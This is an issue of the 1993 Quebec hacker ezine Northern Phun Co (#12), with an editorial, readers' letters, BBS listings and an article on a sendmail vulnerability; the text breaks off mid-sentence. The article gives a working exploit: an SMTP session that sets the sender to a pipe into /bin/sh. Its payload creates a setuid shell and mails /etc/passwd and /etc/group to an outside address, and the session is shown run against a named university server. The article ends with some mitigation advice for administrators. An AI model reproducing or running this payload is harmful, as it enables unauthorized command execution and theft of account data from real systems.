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Northern Phun Co Issue 12

eZine's profile picture
Published in 
Northern Phun Co
 · 11 Oct 2020

  


_____ ._______________________________. .___________________________ ._____
\_, \ | ____________ < ________. | | .______ )_____ \_, \ | __/
| \| o| / \ | | ) /\( | | __|__|_|__|_|__|_) / | | ) / | \| o|
| . ` :|/ . \| |/ / ` | | \__________________/ | |/ / | . ` :|
|: |\. / /| |: |\ \ |: | |. | | | |. | ____ |: |\ \ |: |\. |
|o | | ( (_| |o | \ \ |o | |o | | | |o |/ __/ |o | \ \ |o | | |
|__| | \__\___| | \ > | | |__| | | |_ ' / | | \ >|__| | |
\ | | / \/ | / \ | \ | | / \/ \ |
\| |/ |/ \| \| |/ \|
: : : : : : :
_____________. .__. ._______ ._____ ___________
\______ ) | | | | ._. \ | __/ \______ ) __
__| |_) / |_|__|_/\ | o| | \| o| | | ) / / \
\_, .___/| .______ \| :| | . ` :| | | \_/ / , \
|: | |: | | |/ /| | |: |\ | |: | ___/. /| \
|o | |o | | / (_| | |o | \ | __|o |_) (o (_| ) _
| | |__| | <_________>|__| | | \_, _____\__\___/ (_)
| / \ | \ | | /
|/ \| \| |/
: : : :
askee &
shit by
MENTAL FL0SS



Dans ce douziŠme num‚ro de NPC:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ú
:
|
- -ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- - - ú
³ +:SUJET:+ ³ +:AUTEUR:+ ³
³ú - -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ú - -ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Table des matiŠres / Disclaimer ³ -=ThE PoSSe=- ³
³ ditorial de NPC #12 ³ Atreid Bevatron ³
³ The postman always quote twice ³ Votre Courrier ³
³ MISCialliniiiooouss about SendMail ³ Gurney Halleck ³
³ LLC ‡a s'en vient ³ Santa Claus ³
³ Mac et moi, the story so far... ³ The Shaman ³
³ Les yeux en compote sur Mind Machine³ Atreid Bevatron ³
³ LLC, tout sur le systŠme ³ Blitzkreig ³
³ The state of Hacking in Quebec City ³ Gurney Halleck ³
³ Ce que WIRED n'a pas publi‚ ³ Blitzkreig ³
³ Phrack m'intronise... ³ Gurney Halleck ³
³ Read the news... | Paranoid+The PoSSe ³
- ú-ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
|
:
ú
NPC are: Officiers Collaborateurs

Blitzkreig M‚phisto
Gurney Halleck Paranoid
Atreid Bevatron The Shaman
The SubHuman Punisher Marc Blanchet
Santa Claus


Greets: Merlin L'Emmerdeur (Sniff! Tout le monde a hƒte au mois prochain...)
Genghis Dan (Rave Hard...)
Funk Lord (Ton maudit Bourbonnais est difficile … contacter!!!)
Criminal Mind (Soit damn‚, jeune CRACKER inconscient!)
Mental Floss (Envoie-moi tes buncers dans 3 semaines... ;] )
KBM (Un bel effort sans pr‚tention... ;-) )



DISCLAIMER - AVERTISSEMENT

Ce magazine n'est pas recommand‚ aux gens qui portent un
Pacemaker, aux ƒmes sensibles, et aux moralisateurs. Tenez-vous
le pour dit, et abstenez-vous!

Ceci va probablement ˆtre le disclaimer le plus long de
l'histoire des magazines underground car, sur les conseils de
gens g‚n‚ralement bien vers‚s dans le domaine (vous savez que les
avocats r‚clament 150$ de l'heure? Chi‚!) une mise au point
exhaustive doit ˆtre faite avant de vous permettre de poursuivre
votre lecture (et non pas de poursuivre Northern Phun Co.: vous
ˆtes pas dr“les!).

1) Tous les articles de ce magazine ne sont publi‚s qu'… titre
d'information. L'application de une ou des technique(s)
expliqu‚e(s) dans ces pages peuvent entraŒner la mort, des
blessures s‚rieuses, l'impuissance, la perte de votre virginit‚,
des poursuites judiciaires embˆtantes, le bris de votre
ordinateur, la nomination de Camil Samson … la tˆte du Parti
Lib‚ral ou, pire encore, vous pourriez devenir comme vos parents!

2) Northern Phun Co., qui est un organisme … but non-lucratif,
avec une vocation quasiment philanthropique, ne sera en aucun
temps tenu pour responsable de l'irresponsabilit‚ des auteurs qui
publient des articles dans ces pages. L'entiŠre responsabilit‚,
et la preuve de la v‚racit‚ desdits articles, revient aux
auteurs. On est mal parti, l…, les enfants...

3) Les officiers clairement identifi‚s de Northern Phun Co. sont
seuls habilit‚s … parler au nom du groupe, et NPC ne serait ˆtre
tenu pour responsable de la conduite (ou de l'inconduite) des
collaborateurs de NPC sur les babs de la planŠte Terre. De plus,
seuls les textes des officiers de Northern Phun Co. sont v‚rifi‚s
pour leur exactitude.

4) La lecture de Northern Phun Co., quoique r‚jouissante, peut
entraŒner aussi des problŠmes de sant‚ mentale et des cas de
pilosit‚ manuelle (comme pour la masturbation).

5) Northern Phun Co accepte, … priori, de publier tous les textes
touchant au H/P/C/A/V-et-le-reste qui lui seront soumis. NPC
refusera, par contre, tout texte encourageant la discrimination
d'une ou des personne(s) en fonction de leur origines ethniques,
de leur religion ou de leur sexe. Si vous voulez bouffer du
nŠgre, engagez-vous plut“t dans la police...

6) Northern Phun Co. tient … rappeler … ses lecteurs qu'il faut
soigneusement se brosser les dents aprŠs chaque repas. Et
n'oubliez pas la soie dentaire!

Est-ce que ‡a suffit l…?


O— nous rejoindre?
------------------

D– la nature "volatile" de notre produit, les babs qui nous
supportent le sont tout aussi. Ceci dit, vous avez toutes les
chances de pogner un des officiers de NPC sur les babs PUBLICS
suivants (on pousse la perversion jusque l…!).

Light BBS : 418-651-5664
Black Palace : 418-831-1602
The Cannibal Cookhouse : 418-657-4442
Terminus (Baie-Comeau ) : 418-295-2854
OverBoard (Sherbrooke) : 819-569-7239

Un beau fou de Drummondville nous a consacr‚ son babillard.
Ouvrez grands vos yeux! Si vous savez compter, ‡a fait -7- nodes!

La Station: 819-474-8010
6158
7601
2016
7475
1816
5239


Il y a aussi un bab qui vous offre une messagerie anonyme pour
NPC, comme au bon vieux temps de M‚dic!

The Inferno: 418-647-2731

Si votre babillard public (hors 418) d‚sire ouvrir une section
NPC, n'h‚sitez pas … nous contacter. C'est gratuit!

Nous sommes aussi (naturellement) sur les boards pirates de
Qu‚bec. En fait, sur Workshop, il y a tous les officiers de NPC
qui prennent un bain de soleil... C'est comme qui dirait notre
H.Q. underground.

Nous ne publions plus de numero de VMB. D‚sol‚, mais on les
perdait … mesure qu'on les publiait, alors... Un coup des coches,
je suppose...

Nous avons aussi une adresse Internet pour e-mail:

npc@sietch.ci.net

Et si malgr‚ tout ‡a vous n'ˆtes pas capable de nous rejoindre,
appelez l'Arm‚e du Salut, et demandez Roger...

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úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

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1er d‚cembre 1993

DITORIAL 12

par

Atreid Bevatron

Lors de la premiŠre parution de NPC et durant les cinq ou six
parutions qui ont suivi, vous, gens de la r‚gion de Qu‚bec (418),
ne vous ˆtes pas gˆn‚s pour nous lancer des commentaires. Certains
‚taients positifs, quelques autres n‚gatifs (maintenant … peu prŠs
inexistants, je parle des n‚gatifs), mais l… n'est pas la question.
La question est que vous r‚agissiez.

Que se passe-t-il dans la belle r‚gion de Qu‚bec depuis
quelques mois? En fait, il ne se passe rien. La scŠne est morte
alors? Justement pas, elle n'est pas morte malgr‚ cela. La scŠne
est bel et bien en vie, mais ce, sans que personne ne le sache.

Qu'est devenue cette belle communication entre tous? Elle est
devenu pratiquement inexistante. Pourtant, ce n'est justement pas
d– au fait que NPC est d‚laiss‚, bien au contraire, nous constatons
une trentaine de downloads sur chacun de nos distros … chaque
num‚ro. Je ne parle pas du nombre de downloads … vie, mais bien du
nombre dans la semaine qui suit chaque parution. Tout ‡a, c'est
sans compter tous les endroits o— NPC est upload‚ et download‚ sur
les autres babillards non-NPC.

NPC est l…, comme vous le savez tous, et est l… pour durer, je
crois que vous vous en ˆtes tous rendu compte. Vous connaissez le
journal VOIR? Probablement oui. Il s'agit d'un journal gratuit, lu
par un grand nombre d'‚tudiants, dans les CEGEPs et les universit‚s
et par beaucoup de gens int‚ress‚s par les arts et spectacles. VOIR
n'est pas que cela, mais ma description s'arrˆtera l…. Les gens du
journal VOIR savent qu'ils sont lus, savent combien de personnes
environ les lisent. Ils publient, les gens lisent, et le reste, on
s'en tape et ils s'en tapent je dirais. (Attention, je ne dis pas
que le journal VOIR est un mauvais journal. Il est au contraire
excellent!)

NPC n'est pas le journal VOIR. Vous avez tous lu mon ‚ditorial
dans le num‚ro 11? L'id‚e de communaut‚, de philosophie et d'art de
vivre cybern‚tique. Voil… ce que NPC veut promouvoir. Comme le
journal VOIR, NPC est gratuit, nous savons environ combien de
personnes nous lisent … Qu‚bec, mais contrairement au journal VOIR
(je me trompe peut-ˆtre), le reste on ne s'en tape pas. Nous
voulons qu'il existe une communication, mˆme une sorte de
complicit‚ entre tous les lecteurs de NPC. (Gens de la GRC,
s'abstenir...) (Quoiqu'il pourrait ˆtre int‚ressant de... comparer
nos points de vue... :] )

La scŠne, comme je le disais, semble morte. Elle n'est
toutefois pas morte, mais simplement silencieuse. Je vous ai dit
combien de personnes downloadaient NPC chaque mois. Dans ce nombre,
il y en a forc‚ment une vingtaine, voir une trentaine que nous ne
connaissons pas, qui ne lisent pas NPC que par curiosit‚, mais bien
pour en appliquer les pratiques (Je ne parle que de la r‚gion de
Qu‚bec!). Je parle d'une trentaine de personnes qui, semble-t-il,
n'ont aucun contact avec l'underground ou qui peut-ˆtre d‚sirent
simplement agir dans la confidentialit‚ de leur foyer. Je vous le
dis, … vous, qui vous acharnez malgr‚ le fait que vous n'avez … peu
prŠs aucun contact avec nous ou avec l'underground, vous qui avez
confiance en vous mˆme et en vos propres ressources, je vous dis
joignez nos rangs!, ou du moins signalez votre pr‚sence. Je ne suis
pas en train d'offrir un poste comme officier de NPC; ce que je
veux vous dire, c'est qu'en chacun de vous r‚side peut-ˆtre un
pirate remarquable et chevronn‚. C'est de gens comme vous que la
scŠne a besoin, pas des grosses tˆtes vides qui peuplent les bbs
pirates depuis quelques temps. La scŠne n'a pas besoin de poseurs
sans connaissance et sans talent qui font semblant d'ˆtre
int‚ress‚s, mais bien de gens dont l'intention premiŠre est de
d‚velopper leurs comp‚tences et leurs connaissances. Oui, … vous je
dis regroupez-vous et montrez ce que vous savez faire; pas pour
vous montrer vous-mˆmes, mais pour faire profiter de votre savoir
la communaut‚ underground.

NPC a ‚volu‚ et nous sommes maintenant lus … travers le
Qu‚bec, le Canada, les tats-Unis et mˆme dans certaines parties
d'Europe. Nous nous faisons connaŒtre de plus en plus … chaque
num‚ro et avec l'avŠnement de LLC, notre distribution se fera …
l'‚chelle mondiale; comme les CUDs et les PHRACK que vous
connaissez. Nous recevons d'ailleurs plusieurs lettres d'un peu
partout. Je ne suis pas en train de dire que nous allons surpasser
Phrack ou CUD ou quoique ce soit. Nous sommes des mags diff‚rents
avec des contenus diff‚rents et de toutes fa‡ons, la question n'est
pas l…... O— je veux en venir? Je veux dire que malgr‚ le fait que,
possiblement, NPC devienne effectivement r‚pendu … l'‚chelle
mondial, la r‚gion 418 de Qu‚bec continuera pour nous d'ˆtre une
importante source d'occupation et d'int‚rˆt et qu'elle continuera
toujours de nous tenir … coeur par dessus tout. Ce qui s'y passe
nous tient donc … coeur, et ce que vous pensez tous aussi. Telle
est la raison de mon appel au troupeau, au regroupement, … la
communaut‚. Nous voulons nous regrouper avec des gens qui partagent
les mˆmes int‚rˆts que nous et les mˆmes passions pour le monde
cybern‚tique et les nouvelles technologies...

A PREVIOUSLY UNKNOWN LIFESTYLE, c'est vrai depuis le d‚but,
c'est encore vrai et ce le sera toujours.

Vous, que nous ne connaissons pas encore, ‚tablissez ce
contact! Rejoignez nos rangs! Nous pouvons ˆtre contact‚s sur
n'importe lesquels de nos babillards publics ou priv‚s, ou par
notre adresse Internet, bien s–r et ce, en tout temps...

Hackez, Phreackez, performez, mais faites-le tous ensemble, en un
seul rang, une seule arm‚e, une seule communaut‚...


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úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

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VOTRE COURIER

par

The PoSSe


#2991 ([Private]) [AREA: Private]
Sent : 22-Nov-93 23:46 (Received on 23-Nov-93 23:21)
From : Fvladimir Kroutchefv
To : Blitzkreig
Subj : LLC + NPC..

TrŠs cher monsieur,

j'en viens maintenant … l'objet de ma lettre, … savoir la
~d‚mission~ de l'un de vos ‚diteurs <me semble-t-il> THX 1138 est
trŠs appreci‚ de la mis‚rable personne que je suis. Ses ‚crits me
choquent et me r‚veillent.. Tant mieux, j'aime bien ˆtre r‚veill‚..
N'ayant pu le denicher sur aucun des babillard o— je vais, j'en
suis r‚duit … vous quˆter une faveur, pour dire si cela me tient …
coeur!

Transmettez-lui, s'il vous plaŒt, mes sincŠres condol‚ances quand
… son d‚couragement <que j'espŠre temporaire> vis-…-vis de la faune
babillardesque qu‚b‚coise.. J'espŠre le voir re-‚crire un jour et
quand … moi, le plus t“t sera le mieux !

Sans lui, NPC ne sera plus le mˆme...

Il disait que NPC ne comptait pour personne. que vos ‚crits ne
comptent pas.. C'est faux.. vous avez jou‚ un r“le d‚terminant dans
ma vie.

De vous je n'attend pas de r‚ponse.. parce que je sais que je n'en
aurai pas. De lui non plus parce qu'il ne me connaŒt pas et qu'il
n'a probablement aucune envie de me connaŒtre...

Si je suis le seul … protester contre sa disparition, et bien
tant pis! Mais au moins aurais-je la conscience tranquille s'il
re‡ois mon message.. Je ne demande rien d'autre.
~~~~
Remerciement sincŠres et gratitude,
Fvladimir Kroutchefv

[Atreid- Bien ‚videmment, nous gardons les portes ouvertes pour le
retour de THX 1138, mais je sais qu'il est parti pour de bon... Et
au fond je le comprends bien... Je l'ai toutefois contact‚ pour lui
lire ta lettre. Je vais ‚crire son commentaire... C'est tout ce
qu'il m'a dit … ce propos et la discussion a rapidement chang‚
imm‚diatement aprŠs.]

[THX 1138- En effet, je n'ai aucune envie de te connaŒtre...]

--------------------


"Message (NPC)" (Msg Public) #995
Date : 18-10-93 13:48
De : Zoltar
A : All
Sujet :

Yo!
Je v‚g‚tais un Dimanche soir pis au lieu de continuer … m'acharner
sur mon travail de philosophie 301, j'me suis mis … caller au
Black Palace (Nonon, c'pas une plogue!). Pour une trŠs rarissime
fois, je r‚ussis … m'infiltrer sur ce bab de fa‡on exp‚ditive et
d‚couvrir la section NPC qui s'y cache (faut le dire pour le
croire...). Quelle ne fut pas ma stup‚faction et mon indignation
bienheureuse de downloader votre mag... Une force subconsciente m'a
dit avec g‚n‚rosit‚ que NPC ‚tait un groupe (quoique ‚norme!) qui
‚tait fou comme un balai! Les 3 longues heures que m'ont exig‚
l'impression de votre manuscrit n'ont certe pas ‚t‚ perdues. En
vous lisant, je me suis dit: "Ma foi, ils se d‚battent comme des
diables dans un jeu de quilles ceux-l…!"
(Jean Perron, 90), quelle
‚quipe r‚volt‚e! Bref, continuez votre boulot comme vous l'entendez
pis longue vie! J'vous dis merde … la puissance 13! J'ai rien
d'autre … ajouter sauf d‚clarer mon c‚lŠbre proverbe: "Tout bon
chr‚tien se doit de crisser son ‚ternel camp!"
! A part de ‡a rien
de sp‚cial...

Zoltar (tm)
Si jamais ca parait c'te message ben j'vas vous trouver ben
comiques!

[Atreid- Ben c'est ‡a! Trouve-nous ben comique! ;-)]

[Santa- Puisses-tu m'expliquer le sens de ton "‚ternel" proverbe?
Je serais combl‚ … la puissance 13... Merci quand mˆme pour
ton "g‚n‚reux" commentaire.]

--------------------

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The sendmail bug of the month club
OR
How to hack a Unix without even getting in.

By:
Gurney Halleck


I was first made aware of the bug by an advisory notice of the CIAC,
thanks guys. Over the years, sendmail has prouven itself a true friend for
the hacker. The famous debug and wizard backdoor a couple of years ago and
some recent ones. Today there is another one, and it's a good one.

Read on, this was the first warning about the bug that I saw, it
realy spiked my curiousity:

_____________________________________________________
The Computer Incident Advisory Capability
___ __ __ _ ___
/ | / \ /
\___ __|__ /___\ \___
_____________________________________________________

ADVISORY NOTICE

(1) Security vulnerability in sendmail under SunOS 4.1.x and 5.x
(2) Security vulnerability in tar under SunOS 5.x
(3) Potential misuse of Sun microphones

October 21, 1993 1130 PDT Number E-01

__________________________________________________________________________
(1) Security vulnerability in sendmail under SunOS 4.1.x and 5.x

PROBLEM: Remote users may access system files using sendmail.
PLATFORM: SunOS 4.1.x and SunOS 5.x (Solaris 2.x).
DAMAGE: Unauthorized access to system files.
SOLUTION: Apply appropriate patch from Sun.
__________________________________________________________________________

Critical Information about Security Vulnerability in sendmail

The /usr/lib/sendmail utility under SunOS 4.1.x and SunOS 5.x permits
unauthorized access to some system files by remote users. This access may
allow compromise of the system. Note that this vulnerability is being
actively exploited. CIAC strongly recommends that sites take immediate
corrective action.

Sun Microsystems has released patched versions of the sendmail program
for all affected versions of SunOS:

BSD SVR4
System Patch ID Filename Checksum Checksum
----------- --------- --------------- --------- ----------
SunOS 4.1.x 100377-07 100377-07.tar.Z 36122 586 11735 1171
SunOS 5.1 100840-03 100840-03.tar.Z 01153 194 39753 388
SunOS 5.2 101077-03 101077-03.tar.Z 49343 177 63311 353

The checksums shown above are from the BSD-based checksum (on SunOS 4.1.x,
/bin/sum; on SunOS 5.x, /usr/ucb/sum) and from the SVR4 version that Sun
has released on SunOS 5.x (/usr/bin/sum).

Individuals with support contracts may obtain these patches from their
local Sun Answer Center or from SunSolve Online. Security patches are
also available without a support contract via anonymous FTP from
ftp.uu.net (IP 192.48.96.9) in the directory /systems/sun/sun-dist.
-----------------------------------------------------------------------------

Not much detail, but just enough to know where to start looking,
so I did. I took me a while and I had to read this next posting and
download the fixes and study them before getting it. It wasn't easy.

=============================================================================
CA-93:16 CERT Advisory
November 4, 1993
Sendmail Vulnerability
-----------------------------------------------------------------------------
The CERT Coordination Center is working on eliminating a vulnerability in
sendmail(8). This vulnerability potentially affects all systems running
sendmail.

CERT is working with the vendor community to address this vulnerability. At
this time, there are no known patches available for any vendor implementation
that fully address this vulnerability. Until there is complete vendor
information, CERT recommends that all implementations of sendmail be
considered susceptible.

This advisory supersedes the sendmail portion of the CERT advisory (CA-93:15)
of October 21, 1993.

CERT will continue to work with the vendors and will alert the community
when patches become available.

Included with this advisory is an appendix describing tips that can be used
by system administrators who are concerned about the possible exploitation
of this vulnerability at their site.

-----------------------------------------------------------------------------

I. Description

A vulnerability exists in most versions of sendmail that allows
unauthorized remote or local users to execute programs as any system
user other than root.

This vulnerability affects the final destination sendmail host
and can be exploited through an intermediate mail machine. Therefore,
all sendmail recipient machines within a domain are potentially
vulnerable.


II. Impact

Anyone (remote or local) can execute programs on the affected hosts
as any userid other than root.


III. Approaches

CERT suggests three possible approaches to this problem. Although
these approaches address all known aspects of this vulnerability,
they are suggested only until vendor patches for this sendmail
vulnerability are available.

Familiarity with sendmail and its installation and configuration,
is recommended before implementing these modifications.

In order to protect your entire site it is necessary to apply the selected
approach to *ALL* systems running sendmail at the site, and not just
the mail hub.

A. Approach 1

This approach involves modifying the sendmail configuration
to restrict the sendmail program mailer facility.

To restrict sendmail's program mailer facility, obtain
and install the sendmail restricted shell program (smrsh 1.2)
by Eric Allman (the original author of sendmail), following the
directions included with the program.

1. Where to obtain the program

Copies of this program may be obtained via anonymous FTP from
info.cert.org, in the /pub/tools/smrsh directory, or via
anonymous FTP from ftp.uu.net in the /pub/security/smrsh
directory.

Checksum information:

BSD Sum
30114 5 README
25757 2 smrsh.8
46786 5 smrsh.c

System V Sum
56478 10 README
42281 4 smrsh.8
65517 9 smrsh.c

MD5 Checksum
MD5 (README) = fc4cf266288511099e44b664806a5594
MD5 (smrsh.8) = 35aeefba9714f251a3610c7b1714e355
MD5 (smrsh.c) = d4822ce7c273fc8b93c68e39ec67739c


2. Impacts of this approach

While this approach allows a site to specify which programs
can be run by sendmail (e.g. vacation(1)), attempts to invoke
programs that are not included in the allowed set, or attempts
using shell meta-characters (see smrsh program listing for a
complete set of disallowed characters), will fail, resulting in
log output to the syslog(3) facility. Programs that are specified
in a site's /etc/aliases file should be considered for inclusion
in the allowable program list.

Since .forward files allow user-specified programs to be
run by sendmail, a survey of the contents of the system's
.forward files may be required to prevent failure to deliver
user mail.

*** WARNING ***************************************************
* It is very important that sites *NOT* include interpreter *
* programs (e.g. /bin/sh, /bin/csh, /bin/perl, /bin/uudecode, *
* /bin/sed, ...) in the list of allowed programs. *
***************************************************************

B. Approach 2

Like approach 1, this approach involves modifying the sendmail
configuration. However, this approach completely disables the
sendmail program mailer facility. This is a drastic, but quick
action that can be taken while a site installs one of the
other suggestions. Before implementing this approach, save a copy
of the current sendmail configuration file.

To implement this approach edit the sendmail.cf file:

change from:
Mprog, P=/bin/sh, F=slFDM, S=10, R=20, A=sh -c $u

to:
Mprog, P=/bin/false, F=, S=10, R=20, A=

Any changes to the sendmail.cf file will require that the
sendmail process be restarted to ensure that the new configuration
is used. See item 3 in Appendix A for more details.

1. Impacts of this approach

Attempts to invoke programs through sendmail will not
be successful.

C. Approach 3

To the best of our knowledge, Eric Allman's public domain
implementation of sendmail, sendmail 8.6.4, does not appear to
be susceptible to this vulnerability. A working solution would
then be to replace a site's sendmail, with sendmail 8.6.4.

1. Where to obtain the program

Copies of this version of sendmail may be obtained via
anonymous FTP from ftp.cs.berkeley.edu in the
/ucb/sendmail directory.

Checksum information:

BSD Sum
sendmail.8.6.4.base.tar.Z: 07718 428
sendmail.8.6.4.cf.tar.Z: 28004 179
sendmail.8.6.4.misc.tar.Z: 57299 102
sendmail.8.6.4.xdoc.tar.Z: 33954 251

System V Sum
64609 856 sendmail.8.6.4.base.tar.Z
42112 357 sendmail.8.6.4.cf.tar.Z
8101 203 sendmail.8.6.4.misc.tar.Z
50037 502 sendmail.8.6.4.xdoc.tar.Z

MD5 Checksum
MD5 (sendmail.8.6.4.base.tar.Z) = 59727f2f99b0e47a74d804f7ff654621
MD5 (sendmail.8.6.4.cf.tar.Z) = cb7ab7751fb8b45167758e9485878f6f
MD5 (sendmail.8.6.4.misc.tar.Z) = 8eaa6fbe9e9226667f719af0c1bde755
MD5 (sendmail.8.6.4.xdoc.tar.Z) = a9da24e504832f21a3069dc2151870e6


2. Impacts of this workaround

Depending upon the currently installed sendmail program,
switching to a different sendmail may require significant
effort for the system administrator to become familiar with
the new program. The site's sendmail configuration file
may require considerable modification in order to provide
existing functionality. In some cases, the site's sendmail
configuration file may be incompatible with the sendmail 8.6.4
configuration file.


---------------------------------------------------------------------------
The CERT Coordination Center wishes to thank the members of the following
response teams for their assistance in analyzing and testing both the
problem and the solutions: SERT, ASSIST, CIAC, and DFN-CERT. CERT would
especially like to thank Eric Allman, Matt Blaze, Andy Sherman, Gene Spafford,
Tim Seaver, and many others who have provided technical assistance with
this effort.
---------------------------------------------------------------------------

If you believe that your system has been compromised, contact the CERT
Coordination Center or your representative in Forum of Incident
Response and Security Teams (FIRST).

Internet E-mail: cert@cert.org
Telephone: 412-268-7090 (24-hour hotline)
CERT personnel answer 8:30 a.m.-5:00 p.m. EST(GMT-5)/EDT(GMT-4),
and are on call for emergencies during other hours.

CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890

Past advisories, information about FIRST representatives, and other
information related to computer security are available via anonymous FTP
from info.cert.org.



Appendix A

This appendix describes tips that can be used by system administrators
who are concerned about the possible exploitation of this vulnerability at
their site.


There are two actions that can be taken by system administrators to try
to detect the exploitation of this vulnerability at their sites.

- Examine all bounced mail to look for unusual occurrences.
- Examine syslog files for unusual occurrences of "|" characters

In order to do this, sendmail must be configured to direct bounced mail to
the postmaster (or other designated person who will examine the bounced mail).
Sendmail must also be configured to provide adequate logging.

1) To direct bounced mail to the postmaster, place the following entry in
the options part of the general configuration information section of
the sendmail.cf file.

# Cc my postmaster on error replies I generate
OPpostmaster

2) To set sendmail's logging level, place the following entry in the options
part of the general configuration information section of the sendmail.cf
file. Note that the logging level should be 9 or higher in order to provide
adequate logging.

# log level
OL9

3) Once changes have been made in the sendmail configuration file,
it will be necessary to kill all existing sendmail processes,
refreeze the configuration file (if needed - see the note below),
and restart the sendmail program.

Here is an example from SunOS 4.1.2:

As root:

# /usr/bin/ps -aux | /usr/bin/grep sendmail
root 130 0.0 0.0 168 0 ? IW Oct 2 0:10 /usr/lib/sendmail -bd -q
# /bin/kill -9 130 (kill the current sendmail process)
# /usr/lib/sendmail -bz (create the configuration freeze file)
# /usr/lib/sendmail -bd -q30m (run the sendmail daemon)


**Note: Some sites do not use frozen configuration files and some do. If
your site is using frozen configuration files, there will be a file
named sendmail.fc in the same directory as the sendmail configuration
file (sendmail.cf).
-----------------------------------------------------------------------------

So, what it says is that all sites not running sendmail 8.6.4 are
probably vulnerable to this bug, whatever there platform might be. As of this
writting, I have not been able to confirme if Smail is vulnerable to this bug.
Let's go ahead now with a description of the bug.

What this bug does, is permit you to execute commands as uid deamon
or whatever the sendmail delivers non-user as. You generaly can not obtain
root priviliedges directly, but depending on the security of uid deamon you
might be able to install trojans in the system to gain root. Here are the
specifics:

1 The envelope From: field, or possibly the Errors-To: header(not tested),
must be set to the pipe through a bounce of your mail will be returned.
Typically this is executed by uid deamon.

2 An error must be caused in the message such that sendmail will send a
bounce to the From: envelope (or possibly to Errors-To:).

These two conditions are all that is necessary to exploit the bug. Typically
the simplest thing to pipe to is

|/usr/ucb/tail|/usr/bin/sh
or |/usr/ucb/tail|/bin/sh

That's for SunOS 4.1.3. Other systems may have tail in /usr/bin or /bin; the
PATH is important in this case. Although any command interpreter would do,
even awk or sed. Test the system to find out which commands and interpreters
are reachable.

The condition I have used to generate an error is an invalid
Return-Receipt-To: header. There are a great number of other ways to do so,
and some of them may depend on the specifics of the version of the sendmail.

The last ten lines of your message should contain whatever you wish to do as
uid deamon, such as:

#!/bin/sh
id | mail user@site.domain
#let's find out if we're really UID deamon
cp /bin/sh /tmp/.privshell
#let's make our selves a priviledged shell
chmod 4777 /tmp/.privshell
cat /etc/passwd | mail user@site.domain
# if you don't know what this ^ does, stop reading right now.
cat /etc/group | mail user@site.domain
# knowing the group configuration is always good.

This assumes that /tmp is writable by uid deamon. It is highly unlikely that
this is not the case.

Let's see how it really works:

-----------------cut here----------------------------------------------------
XXXXXX$ telnet roselin.dmi.usherb.ca 25
Trying ...
Connected to roselin.DMI.USherb.CA
Escape caracter is '^]'.
220 roselin.DMI.USherb.CA Sendmail 8.6.4/8.6.4 ready at Mon, 15 Nov 93 13:29:37
-0500
220 ESMTP spoken here
quit
221 roselin.DMI.USherb.CA closing connection
Connection closed by foreign host.

[this site is secure, it runs Sendmail 8.6.4, let's try another]

XXXXXX$ telnet spook.ee.mcgill.ca 25
Trying ...
Connected to Spook.EE.McGill.CA
Escape caracter is '^]'.
220 Spook.EE.McGill.CA Sendmail 4.1 ready at Mon, 15 Nov 93 13:31:12 EST

[this site might be vulnerable if it hasn't been patched]

helo
250 Spook.EE.McGill.CA Hello (XXXXXX.site.doamin), pleased to meet you.
quit
221 Spook.EE.McGill.CA closing connection
Connection closed by foreign host.

[let's look around a bit more]

XXXXXX$ telnet tornade.ere.umontreal.ca 25
Trying ...
Connected to tornade.ERE.UMontreal.CA
Escape caracter is '^]'.
220 tornade.ERE.UMontreal.CA Sendmail 920330.SGI/5.17 ready at Mon, 15 Nov 93
13:33:43 EST

[silicon graphics, humm where is tail on a SGI anyway?]

quit
221 tornade.ERE.UMontreal.CA closing connection
Connection closed by foreign host.
XXXXXX$ telnet gmc.ulaval.ca 25
Trying ...
Connected to cartier.gmc.ulaval.ca
Escape caracter is '^]'.
220 cartier.gmc.ulaval.ca Sendmail 4.1-SMI ready at Mon, 15 Nov 93 13:35:11 EST
helo
250 cartier.gmc.ulaval.ca Hello (XXXXXX.site.domain), pleased to meet you
MAIL FROM: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
RCPT TO: pgaumond
250 pgaumond... Recipient ok
DATA
354 Enter mail, end with "." on a line by itself
From: YYYY@XXXXXX.site.domain (YYYY)
to: YYYY@XXXXXX.site.doamin (YYYY)
Return-Receipt-To: |foobar
SubjectL This is quite a big hole in your security
X-Disclaimer: NPC takes no responsability for what might happen

Dear root,
please plug up this hole as soon as possible.

YYYY@XXXXXX.site.domain


#!/bin/sh
id | mail user@site.domain
#let's find out if we're really deamon
cp /bin/sh /tmp/.privshell
#let's make our selves a priviledged shell
chmod 4777 /tmp/.privshell
cat /etc/passwd | mail user@site.domain
# if you don't know what this ^ does, stop reading right now.
cat /etc/group | mail user@site.domain
# knowing the group configuration is always good.
.
250 Ok
quit
221 cartier.gmc.ulaval.ca closing connection
Connection closed by foreign host.
----------------------------------cut here----------------------------------

See how easy it is? Now alot of sysadmins are going to go bezerk when reading
this. If you had paid attention to the advisories you would not be in this
predicament right now. Pay attention and do your job!

Now the part for sysadmins:

I have included the entire CERT advisory (CA-93:16) it gives some usefull
advice, unfortunately it neglects the smrsh hole.

* The best choise now appears to be to install sendmail 8.6.4, which seems
to be immune to this bug. It can be obtained from ftp.cs.berkeley.edy in
/ucb/sendmail, and probably elsewhere.

* An additional FLAWED possibility is to install smrsh (sendmail restricted
shell) on top of your current sendmail. smrsh is available from ftp.uu.net
in /pub/tools/smrsh. smrsh replaces the prog mailer (typically /bin/sh)
with itself, and it limits what programs it will pass input to.

SMRSH ALONE IS NOT A SECURE SOLUTION

Regarding smsrh, it is only as secure as you can make it. By specifying no
programs, you might as well make the prog mailer /bin/false. By specifying
